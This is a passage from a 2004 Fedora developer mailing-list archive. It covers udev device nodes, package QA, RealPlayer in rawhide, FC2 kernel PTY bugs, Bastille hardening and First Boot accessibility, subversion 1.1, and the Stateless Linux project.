11:46:37AM +0200, Matthias Saou wrote: > > /dev/ircomm0 entry I need to use isn't there anymore, not even after > > starting the irda service. > > What is the right way to fix this? My current workaround was "MAKEDEV > > ircomm0"... > > udev needs to learn about it -> bugzilla. http://bugzilla.redhat.com/134322 Maybe there are some other IrDA related /dev entries suffering from something similar? irnet? irlpt*? Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 1.58 1.17 0.71 From Silke.Reimer at intevation.de Fri Oct 1 12:35:48 2004 From: Silke.Reimer at intevation.de (Silke Reimer) Date: Fri, 1 Oct 2004 14:35:48 +0200 Subject: QA-process for new packages In-Reply-To: <20041001123313.2ab8aa31.fedora@wir-sind-cool.org> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> <20041001093232.GB3765@intevation.de> <20041001123313.2ab8aa31.fedora@wir-sind-cool.org> Message-ID: <20041001123548.GE3765@intevation.de> On Fri, Oct 01, 2004 at 12:33:13PM +0200, Michael Schwendt wrote: > On Fri, 1 Oct 2004 11:32:32 +0200, Silke Reimer wrote: > > > Thanks! This explanation (toghether with you remarks below) helped me to > > understand better the philosophy of the Fedora project. Perhaps I > > should add that I am coming from the debian world. Thus it is quite > > confusing from time to time to understand what similar and what is > > different in the Fedora way to set up the project. > > Well, I'm not a spokesman of the Fedora Project. Actually, fedora.us > is still a separate project inspite of the announced merger with the > Fedora Project and the ongoing preparations to import it into Fedora > Extras CVS. Except for semi-public draft documents or proposals I've > not seen anything concrete on what the final "Fedora way" will look > like. This makes it of course more difficult to understand how the project works. But it seems to me the the "Fedora way" is just evolving and such strongly dependent on the actions of all volunteers. Thanks for all your explanations. I have now a very much better feeling of how it works. > > I wouldn't mind seeing some people who go through the queue and > re-prioritise packages based on popularity, importance (e.g. > dependencies and project objectives), or other factors. > > I've also mentioned before that I'd like package developers and users > to build small QA teams or reduce QA efforts to a minimum (= security > relevant checks and some items from the QA checklist) and start > publishing in "unstable" or "testing" repository rather than "stable". > > > So please excuse > > my sometimes ignorant questions. (And I prefer to ask stupid > > questions instead of doing something in the "wrong" way.) > > No problem. At least you do ask. That's far better than not asking at > all and complaining based on misunderstandings. > > > OK. I could of course go and review some packages that I already use > > or might use if they are in Fedora. But right now I feel that I > > would like to have one of my package fully reviewed before I look at > > other pacakges. Thus I could see what are the issues that I should > > look at and I can become more comfortable with the Fedora way of > > thinking (which also has impact on how to build a package). > > True. But by taking look at other packager's packages, you learn > how they do it. Could be helpful. That's a good point. I hope I will have some time to engage in the near future. (Right now my company is preparing a booth at a fair so I am quite stressed. Hope this will be better end of next month :-)) Silke -- Silke Reimer Intevation GmbH http://intevation.de/ FreeGIS http://freegis.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Fri Oct 1 12:36:29 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Fri, 1 Oct 2004 14:36:29 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> Message-ID: <20041001143629.6c68a601@localhost> Build System wrote : > New package RealPlayer > Media player from RealNetworks based on Helix Errr... has it become free!? No, this is Oct 1st, not April 1st, so that can't be it... Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 1.59 1.33 0.81 From kyrre at solution-forge.net Fri Oct 1 12:38:14 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 01 Oct 2004 14:38:14 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> Message-ID: <1096634293.2693.191.camel@kyrre> RealPlayer too? What's happened? I thougt RP was considered "evil" because of properitary formats? Does this mean that mp3 and rp streams will work out-of-the-box on fc3? Kyrre fre, 01.10.2004 kl. 14.31 skrev Build System: > New package RealPlayer > Media player from RealNetworks based on Helix > > New package java-1.4.2-gcj-compat > JPackage runtime scripts for GCJ > > > > Updated Packages: > > HelixPlayer-1.0.gold-6 > ---------------------- > * Thu Sep 30 2004 Christopher Aillon 1.0.gold-6 > > - PreReq desktop-file-utils >= 0.9 > From kyrre at solution-forge.net Fri Oct 1 12:40:40 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 01 Oct 2004 14:40:40 +0200 Subject: FC2 kernel quality In-Reply-To: <20041001121009.GD6590@devserv.devel.redhat.com> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> <20041001121009.GD6590@devserv.devel.redhat.com> Message-ID: <1096634439.2693.197.camel@kyrre> btw. will the 2.6.9 kernel make it into FC3? fre, 01.10.2004 kl. 14.10 skrev Alan Cox: > On Fri, Oct 01, 2004 at 12:56:05PM +0100, Stuart Children wrote: > > Is there a bug number for this? I've been meaning to create one for > > Not sure - there's an upstream bug however and it should be fixed in 2.6.9rc From razvan.vilt at linux360.ro Fri Oct 1 12:45:10 2004 From: razvan.vilt at linux360.ro (Razvan Corneliu C.R. "d3vi1" VILT) Date: Fri, 01 Oct 2004 15:45:10 +0300 Subject: rawhide report: 20041001 changes In-Reply-To: <20041001143629.6c68a601@localhost> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <20041001143629.6c68a601@localhost> Message-ID: <1096634711.31019.2.camel@d3vi1.linux360.ro> On Fri, 2004-10-01 at 14:36 +0200, Matthias Saou wrote: > Build System wrote : > > > New package RealPlayer > > Media player from RealNetworks based on Helix > > Errr... has it become free!? No, this is Oct 1st, not April 1st, so that > can't be it... > Hmm... someone added-it to the wrong branch of the build system. I'm pretty sure it wasn't supposed to land in rawhide. BTW, I know red hat uses beehive for it's build infrastructure, could you guys release some info in it? It seems pretty cool. Cheers, d3vi1 -- R?zvan Corneliu VILT e-mail:razvan.vilt at linux360.ro GPG:http://d3vi1.linux360.ro/public-keys/ www: http://d3vi1.linux360.ro/ -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3361 bytes Desc: not available URL: From janina at rednote.net Fri Oct 1 12:53:29 2004 From: janina at rednote.net (Janina Sajka) Date: Fri, 1 Oct 2004 08:53:29 -0400 Subject: Bastille In-Reply-To: References: Message-ID: <20041001125328.GA3907@rednote.net> mm Chris Ricker writes: > On Thu, 30 Sep 2004, Niki Rahimi wrote: > > > Hi Fedora folks, > > I have been working on the Bastille-security hardening system for a > > while now (www.bastille-linux.org). I am currently interested in the > > enhancement of Bastille on Fedora as I see that it is not directly > > available on the distribution install media at this time. I have been > > working with Jay Beale, the lead developer of Bastille, on seeing that > > the software is working properly on Fedora core installations. > > I am curious to see what you all would think of the addition of > > Bastille to the Fedora install media. If you have any questions on the > > quality and/or useability of Bastille feel free to send me a note. > > Some of what bastille does would be better as just being made defaults for > fedora > > For the rest, where it's going to go interactive, it would make more sense > to look into integrating bastille into firstboot, rather than into the > installer > We need something better than First Boot if for no other reason than First Boot is 100% inaccessible to anyone with a special interfacing requirement. It's an accessibility nightmare and could not possibly pass Sec. 508 muster in a U.S. Federal deployment. Rather than adding to First Boot, we need to rethink First Boot. -- Janina Sajka, Chair Accessibility Workgroup Free Standards Group (FSG) janina at freestandards.org Phone: +1 202.494.7040 From Theodore.Papadopoulo at sophia.inria.fr Fri Oct 1 12:58:18 2004 From: Theodore.Papadopoulo at sophia.inria.fr (Theodore Papadopoulo) Date: Fri, 01 Oct 2004 14:58:18 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: <1096634711.31019.2.camel@d3vi1.linux360.ro> Message-ID: <200410011258.i91CwIQt016140@taquilee.inria.fr> razvan.vilt at linux360.ro said: > Hmm... someone added-it to the wrong branch of the build system. I'm > pretty sure it wasn't supposed to land in rawhide. A few weeks ago, there was an announcement about an agreement between redhat and RealNetworks about providing RealPlayer within redhat linux. This should be the first effect of this agreement. Unless I misunderstood something.... -------------------------------------------------------------------- Theodore Papadopoulo Email: Theodore.Papadopoulo at sophia.inria.fr Tel: (33) 04 92 38 76 01 -------------------------------------------------------------------- From janina at rednote.net Fri Oct 1 12:59:10 2004 From: janina at rednote.net (Janina Sajka) Date: Fri, 1 Oct 2004 08:59:10 -0400 Subject: Bastille In-Reply-To: <1096560135.3995.34.camel@marte.biciclete.ro> References: <1096560135.3995.34.camel@marte.biciclete.ro> Message-ID: <20041001125910.GB3907@rednote.net> Marius Andreiana writes: > On Thu, 2004-09-30 at 10:30 -0500, Niki Rahimi wrote: > I see no docs on bastille homepage, only FAQ. Want to know what it does, > how does it detect problems with current configuration/versions. > >From screenshot: FC2 build shouldn't have HP-UX tab. > At the end, will I see a diff from current config to bastille's before > applying? My experience with Bastille hasn't been the best (and I'm NOT just talking Fedora here). The problem is that Bastille offers reasonable sounding things as you work through its screens but doesn't tell you exactly how it will accomplish them. It was not clear what files would be modified--and I didn't find an easily readable log of these actions. Furthermore, I have never successfully "unrolled" Bastille's changes. So, while it has much to teach and offers good advice, I'd really rather that Bastille were a HOWTO and not an "I'll fix it for you" script. It's nice to be given a fish to eat, but it's nicer to know how to catch fish. Same old same old. > > Thanks, > -- > Marius Andreiana > Galuna - Solutii Linux in Romania > http://www.galuna.ro > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list -- Janina Sajka, Chair Accessibility Workgroup Free Standards Group (FSG) janina at freestandards.org Phone: +1 202.494.7040 From alan at redhat.com Fri Oct 1 13:01:11 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 09:01:11 -0400 Subject: Bastille In-Reply-To: <20041001125328.GA3907@rednote.net> References: <20041001125328.GA3907@rednote.net> Message-ID: <20041001130111.GB4093@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 08:53:29AM -0400, Janina Sajka wrote: > We need something better than First Boot if for no other reason than > First Boot is 100% inaccessible to anyone with a special interfacing > requirement. It's an accessibility nightmare and could not possibly pass > Sec. 508 muster in a U.S. Federal deployment. This is currently in the issue tracker. > Rather than adding to First Boot, we need to rethink First Boot. Text mode firstboot as well as graphical clearly is one part of that, what else ? From Axel.Thimm at ATrpms.net Fri Oct 1 13:05:54 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Fri, 1 Oct 2004 15:05:54 +0200 Subject: subversion-1.1 released In-Reply-To: <20041001123443.GA7170@redhat.com> References: <604aa791041001051110468310@mail.gmail.com> <20041001123443.GA7170@redhat.com> Message-ID: <20041001130554.GI21609@neu.nirvana> On Fri, Oct 01, 2004 at 01:34:43PM +0100, Joe Orton wrote: > On Fri, Oct 01, 2004 at 08:11:00AM -0400, Jeff Spaleta wrote: > > On Thu, 30 Sep 2004 11:51:39 -0400, Neal D. Becker > > wrote: > > > subversion-1.1 is released. It would be great to include this. It allows > > > use of subversion without requiring a database. It would be good to > > > include this capability before many users have migrated to subversion. > > > > Doubtful, if there was already a plan in place to include the > > available preleases during testing then I wouldn't hold out much hope > > that the new version released after fc3t2 creation is now going to get > > in so late in the testing phase. The schedule places Sept 1st as the > > deadline for new major version slush. > > 1.0 -> 1.1 is a minor version upgrade not a major version upgrade. If I > can fix the remaining build issues today I'd like to get 1.1.0 in FC3t3. Hi Joe, have a look at http://atrpms.net/name/subversion/, which has specfiles for 1.1.0. Thanks! -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From enrico.scholz at informatik.tu-chemnitz.de Fri Oct 1 13:20:20 2004 From: enrico.scholz at informatik.tu-chemnitz.de (Enrico Scholz) Date: Fri, 01 Oct 2004 15:20:20 +0200 Subject: FC2 kernel quality In-Reply-To: <1096632859.5565.7.camel@laptop.fenrus.com> (Arjan van de Ven's message of "Fri, 01 Oct 2004 14:14:19 +0200") References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> <1096632859.5565.7.camel@laptop.fenrus.com> Message-ID: <87ekki8tij.fsf@kosh.ultra.csn.tu-chemnitz.de> arjanv at redhat.com (Arjan van de Ven) writes: >> >>* there is a bug when opening new PTYs; a symptom is EIO when accessing >> >> /dev/ptmx. This bug breaks application like screen or ssh. >> > >> > Yep a few people are seeing this. >> >> Is there a bug number for this? > > unless this is with the 521 kernel please don't file one; we know that > several pre-521 kernels suffered a bug in this but 521 is supposed to be > the fixed one. It happens with .521 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129990 Enrico From arjanv at redhat.com Fri Oct 1 13:30:01 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 01 Oct 2004 15:30:01 +0200 Subject: FC2 kernel quality In-Reply-To: <87ekki8tij.fsf@kosh.ultra.csn.tu-chemnitz.de> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> <1096632859.5565.7.camel@laptop.fenrus.com> <87ekki8tij.fsf@kosh.ultra.csn.tu-chemnitz.de> Message-ID: <1096637401.5565.9.camel@laptop.fenrus.com> On Fri, 2004-10-01 at 15:20, Enrico Scholz wrote: > arjanv at redhat.com (Arjan van de Ven) writes: > > >> >>* there is a bug when opening new PTYs; a symptom is EIO when accessing > >> >> /dev/ptmx. This bug breaks application like screen or ssh. > >> > > >> > Yep a few people are seeing this. > >> > >> Is there a bug number for this? > > > > unless this is with the 521 kernel please don't file one; we know that > > several pre-521 kernels suffered a bug in this but 521 is supposed to be > > the fixed one. > > It happens with .521 > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129990 well that's an use-selinux-on-fc2 bug. does it happen without selinux? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From dcbw at redhat.com Fri Oct 1 13:36:16 2004 From: dcbw at redhat.com (Dan Williams) Date: Fri, 01 Oct 2004 09:36:16 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <1096634293.2693.191.camel@kyrre> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> Message-ID: <1096637776.18711.1.camel@dcbw.boston.redhat.com> On Fri, 2004-10-01 at 14:38 +0200, Kyrre Ness Sjobak wrote: > RealPlayer too? What's happened? I thougt RP was considered "evil" > because of properitary formats? > > Does this mean that mp3 and rp streams will work out-of-the-box on fc3? > > Kyrre The codecs are different from the player, and the codecs are the ones that need licensing from vendors like Apple, MS, Frauenhofer, etc. Hence, they can't be in Fedora _Core_ since they aren't open source. Dan From ich at Frank-Schmitt.net Fri Oct 1 13:14:34 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Fri, 01 Oct 2004 15:14:34 +0200 Subject: rawhide report: 20041001 changes References: <1096634711.31019.2.camel@d3vi1.linux360.ro> <200410011258.i91CwIQt016140@taquilee.inria.fr> Message-ID: Theodore Papadopoulo writes: > razvan.vilt at linux360.ro said: >> Hmm... someone added-it to the wrong branch of the build system. I'm >> pretty sure it wasn't supposed to land in rawhide. > > A few weeks ago, there was an announcement about an agreement between > redhat and RealNetworks about providing RealPlayer within redhat > linux. This should be the first effect of this agreement. Come on. We get a castrated KDE[1], castrated xmms and a castrated Kernel but Real Player is free enough? That's plain weird. [1] Which one can't even "repair" with additional packages like it is with xmms and the Gnome sound staff but one has to rebuild the SRPM -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From alexl at redhat.com Fri Oct 1 13:59:44 2004 From: alexl at redhat.com (Alexander Larsson) Date: Fri, 01 Oct 2004 15:59:44 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: <1096634293.2693.191.camel@kyrre> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> Message-ID: <1096639184.18430.10.camel@greebo.homeip.net> On Fri, 2004-10-01 at 14:38 +0200, Kyrre Ness Sjobak wrote: > RealPlayer too? What's happened? I thougt RP was considered "evil" > because of properitary formats? > > Does this mean that mp3 and rp streams will work out-of-the-box on fc3? No. It seems like a mistake was made. We'll try to fix it up. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's a genetically engineered bohemian boxer She's a man-hating renegade bodyguard in the witness protection program. They fight crime! From janina at rednote.net Fri Oct 1 13:58:32 2004 From: janina at rednote.net (Janina Sajka) Date: Fri, 1 Oct 2004 09:58:32 -0400 Subject: First Boot (was: Bastille) In-Reply-To: <20041001130111.GB4093@devserv.devel.redhat.com> References: <20041001125328.GA3907@rednote.net> <20041001130111.GB4093@devserv.devel.redhat.com> Message-ID: <20041001135832.GC3907@rednote.net> Alan Cox writes: > On Fri, Oct 01, 2004 at 08:53:29AM -0400, Janina Sajka wrote: > > We need something better than First Boot if for no other reason than > > First Boot is 100% inaccessible to anyone with a special interfacing > > requirement. It's an accessibility nightmare and could not possibly pass > > Sec. 508 muster in a U.S. Federal deployment. > > This is currently in the issue tracker. > Very glad to hear that. Did I know this and forget? Will it be triggered by runlevel setting in /etc/inittab? > > Rather than adding to First Boot, we need to rethink First Boot. > > Text mode firstboot as well as graphical clearly is one part of that, what > else ? Off the top of my head the input and device side would be all, I think. In the text screens, for example, it would be important to put the system cursor where the current focus is (and not in the lower right hand corner, for example). For both text and graphical everything should be keyboardable--so mouse shouldn't be required. There are also the Access X features our WG is on track to turn into an FSG standard. On the device side it would be important to support as many devices as practical at some reasonable default setting. I suppose sound would be somewhat tricky, but we can expect more and more blind users relying on sound card. Still, this deserves a more thorough response. I'm sorry I can't do a better response off the top of my head--but doing so is something we've calendared for next year in the A11y WG. > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list -- Janina Sajka, Chair Accessibility Workgroup Free Standards Group (FSG) janina at freestandards.org Phone: +1 202.494.7040 From feliciano.matias at free.fr Fri Oct 1 14:02:47 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Fri, 01 Oct 2004 16:02:47 +0200 Subject: udev and alsa In-Reply-To: <1096633156.28111.1.camel@ulysse.olympe.o2t> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <1096622411.3257.96.camel@localhost.localdomain> <1096633156.28111.1.camel@ulysse.olympe.o2t> Message-ID: <1096639366.3257.245.camel@localhost.localdomain> Le ven 01/10/2004 ? 14:19, Nicolas Mailhot a ?crit : > Can people that use monolithic kernels have a hope to get sound working > too ? Please... I thought the whole point of the new udev stack was to > take module loading/unloading out of the configuration picture. > udev don't load/unload module. udev should work well with a monolithic kernel. > Cheers, -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From enrico.scholz at informatik.tu-chemnitz.de Fri Oct 1 14:07:02 2004 From: enrico.scholz at informatik.tu-chemnitz.de (Enrico Scholz) Date: Fri, 01 Oct 2004 16:07:02 +0200 Subject: FC2 kernel quality In-Reply-To: <1096637401.5565.9.camel@laptop.fenrus.com> (Arjan van de Ven's message of "Fri, 01 Oct 2004 15:30:01 +0200") References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> <1096632859.5565.7.camel@laptop.fenrus.com> <87ekki8tij.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096637401.5565.9.camel@laptop.fenrus.com> Message-ID: <87acv68rcp.fsf@kosh.ultra.csn.tu-chemnitz.de> arjanv at redhat.com (Arjan van de Ven) writes: >> >> >>* there is a bug when opening new PTYs; a symptom is EIO when accessing >> >> >> /dev/ptmx. This bug breaks application like screen or ssh. >> >> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129990 > > well that's an use-selinux-on-fc2 bug. This bug was introduced by a kernel-update. The original kernel worked fine (but has security issues). > does it happen without selinux? I can not test this; I just know that it happens both in enforcing and permissive mode. Enrico From Nicolas.Mailhot at laPoste.net Fri Oct 1 14:09:44 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Fri, 01 Oct 2004 16:09:44 +0200 Subject: udev and alsa In-Reply-To: <1096639366.3257.245.camel@localhost.localdomain> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <1096622411.3257.96.camel@localhost.localdomain> <1096633156.28111.1.camel@ulysse.olympe.o2t> <1096639366.3257.245.camel@localhost.localdomain> Message-ID: <1096639784.28635.9.camel@ulysse.olympe.o2t> Le vendredi 01 octobre 2004 ? 16:02 +0200, Matias Feliciano a ?crit : > Le ven 01/10/2004 ? 14:19, Nicolas Mailhot a ?crit : > > Can people that use monolithic kernels have a hope to get sound working > > too ? Please... I thought the whole point of the new udev stack was to > > take module loading/unloading out of the configuration picture. > > > > udev don't load/unload module. > udev should work well with a monolithic kernel. However, the proposed solutions rely on modprobe, so... -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From mandreiana at rdslink.ro Fri Oct 1 14:26:59 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Fri, 01 Oct 2004 17:26:59 +0300 Subject: rawhide report: 20041001 changes In-Reply-To: <1096637776.18711.1.camel@dcbw.boston.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> Message-ID: <1096640819.4157.43.camel@marte.biciclete.ro> On Fri, 2004-10-01 at 09:36 -0400, Dan Williams wrote: > The codecs are different from the player, and the codecs are the ones > that need licensing from vendors like Apple, MS, Frauenhofer, etc. > Hence, they can't be in Fedora _Core_ since they aren't open source. I thought difference from Real Player from Helix is the codecs. Real will be in RHEL with codecs, but fedora gets Helix. Why have both if one is based on another? -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From rdieter at math.unl.edu Fri Oct 1 14:35:53 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Fri, 01 Oct 2004 09:35:53 -0500 Subject: rawhide report: 20041001 changes In-Reply-To: <1096640819.4157.43.camel@marte.biciclete.ro> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> <1096640819.4157.43.camel@marte.biciclete.ro> Message-ID: <415D6B49.8000700@math.unl.edu> Marius Andreiana wrote: > I thought difference from Real Player from Helix is the codecs. Real > will be in RHEL with codecs, but fedora gets Helix. Why have both if one > is based on another? I would venture to guess that Fedora will only have HelixPlayer and RHEL will only have RealPlayer, so users won't ever see both at the same time on the same box. -- Rex From stfn at gmx.net Fri Oct 1 14:39:36 2004 From: stfn at gmx.net (Stefan Hoelldampf) Date: Fri, 01 Oct 2004 16:39:36 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: References: <1096634711.31019.2.camel@d3vi1.linux360.ro> <200410011258.i91CwIQt016140@taquilee.inria.fr> Message-ID: <415D6C28.1070102@gmx.net> Frank Schmitt wrote: > [1] Which one can't even "repair" with additional packages like it is > with xmms and the Gnome sound staff but one has to rebuild the SRPM Rebuilding the source RPM with a modified spec-file does not help, mpeglib is completely(?) removed from the original kdemultimedia-3.3.0.tar.bz2. That's probably the reason why the file and the directory have been renamed to kdemultimedia-3.3.0-patched... Regards, Stefan From russell at coker.com.au Fri Oct 1 14:51:45 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 00:51:45 +1000 Subject: "Stateless Linux" project In-Reply-To: <5463-61862@sneakemail.com> References: <1095100955.5481.14.camel@localhost.localdomain> <5463-61862@sneakemail.com> Message-ID: <200410020051.45333.russell@coker.com.au> On Wed, 15 Sep 2004 01:20, "Steve Coleman" <23e9t5t02 at sneakemail.com> wrote: > I think that the CODA project would be an excellent match for your > stateless linux concept. It combines the sort of stateless distributed > > http://www.coda.cs.cmu.edu/ CODA has some nice features, but for some reason it doesn't seem to get used. I would like to see some reviews from sites that use it before considering using it. Also we need SE Linux support for any file system we use. Does CODA support XATTRs? If not it'll be a real PITA to get support implemented. > What ever you come up with, in my opinion, MUST support SELinux but not I agree. > needed. Adding SE to the initial boot cycle you would ensure better > control over the network bootstrap process so that it will be harder to > hack into, as network loading of images is inherently vulnerable since > the logic needed for proper validation of the image must have been GPG signing of boot files or another similar method of avoiding a MITM attack over the net is more important than SE Linux. Even easy things like running rsync over ssh achieves this goal. > cached already or the security contexts transferred first. Changing the > boot up sequence necessitates getting some SE gurus in on your design When there is something to test I'll test it and provide feedback on what needs to be done for SE Linux. > early because the permissions must be labeled in the file system and > permissions granted in the right sequences, otherwise the SE system > will have major problems booting up. I think you need a form of > distributed SE profiles which are used to bootstrap the network loading > of the OS and relabeling of the root filesystem and runtime cache > images. I'm no guru on SE but I know its not going to be trivial. That part shouldn't be difficult. Currently most SE Linux users are expected to use binary policies, so we are planning to have minimal divergence of policy for most users. So having one policy binary for all should do. Policy modules will make this even easier. > Another suggestion I have is to have a long term objective of > incorporating OpenMosix like capabilities in order to add application OpenMosix isn't in kernel.org and we won't support any kernel features that aren't in kernel.org. Also OpenMosix does not support SE Linux (shouldn't be difficult to make it work as long as all machines have the same policy, but it's something that has to be done). -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Fri Oct 1 14:52:38 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 00:52:38 +1000 Subject: "Stateless Linux" project In-Reply-To: References: <1095100955.5481.14.camel@localhost.localdomain> <1095195303.4205.5.camel@localhost.localdomain> Message-ID: <200410020052.38211.russell@coker.com.au> On Wed, 15 Sep 2004 11:15, Dan Williams wrote: > How about using config info stored on a USB keydriver? A relatively > simple GUI app could dump the config information to one/multiple > keydrives which could then be plugged into the machine when it boots up, > and an initial installation program would get values from the keydrive. > Could optionally encrypt the data on the drive since the OS image from the > server would certainly have the keys to decrypt the info on the keydrive. We are already starting to work (slowly) on this. It seems that we missed out for FC3, but FC4 will hopefully support encrypted root fs with booting from a USB device. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From stuart at terminus.co.uk Fri Oct 1 14:52:46 2004 From: stuart at terminus.co.uk (Stuart Children) Date: Fri, 01 Oct 2004 15:52:46 +0100 Subject: FC2 kernel quality In-Reply-To: <1096632859.5565.7.camel@laptop.fenrus.com> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> <1096632859.5565.7.camel@laptop.fenrus.com> Message-ID: <415D6F3E.5050207@terminus.co.uk> Arjan van de Ven wrote: > On Fri, 2004-10-01 at 13:56, Stuart Children wrote: > >>Alan Cox wrote: >> >>>On Thu, Sep 30, 2004 at 08:16:30PM +0200, Enrico Scholz wrote: >>> >>>>* there is a bug when opening new PTYs; a symptom is EIO when accessing >>>> /dev/ptmx. This bug breaks application like screen or ssh. >>> >>>Yep a few people are seeing this. >> >>Is there a bug number for this? > > unless this is with the 521 kernel please don't file one; we know that > several pre-521 kernels suffered a bug in this but 521 is supposed to be > the fixed one. It is with 521 (and earlier kernels - can't remember how far back... it's been infrequent as I said). I'll keep an eye on upstream reports and wait for 2.6.9 though. (SELinux disabled FWIW.) Cheers -- Stuart From rdieter at math.unl.edu Fri Oct 1 14:53:00 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Fri, 01 Oct 2004 09:53:00 -0500 Subject: rawhide report: 20041001 changes In-Reply-To: References: <1096634711.31019.2.camel@d3vi1.linux360.ro> <200410011258.i91CwIQt016140@taquilee.inria.fr> Message-ID: <415D6F4C.5090808@math.unl.edu> Frank Schmitt wrote: > Come on. We get a castrated KDE[1], castrated xmms and a castrated Kernel > but Real Player is free enough? That's plain weird. Not just wierd, legal. First you must come up with a way for Fedora to "legally" (and freely by the way) to distribute mp3 codecs, then please offer your suggestions. -- Rex From russell at coker.com.au Fri Oct 1 14:55:35 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 00:55:35 +1000 Subject: "Stateless Linux" project In-Reply-To: <200409151443.i8FEhwp07789@ayesha.phys.Virginia.EDU> References: <200409151443.i8FEhwp07789@ayesha.phys.Virginia.EDU> Message-ID: <200410020055.35819.russell@coker.com.au> On Thu, 16 Sep 2004 00:43, "Bryan K. Wright" wrote: > Another possible user-space option would be something based on SGI::FAM. We are moving 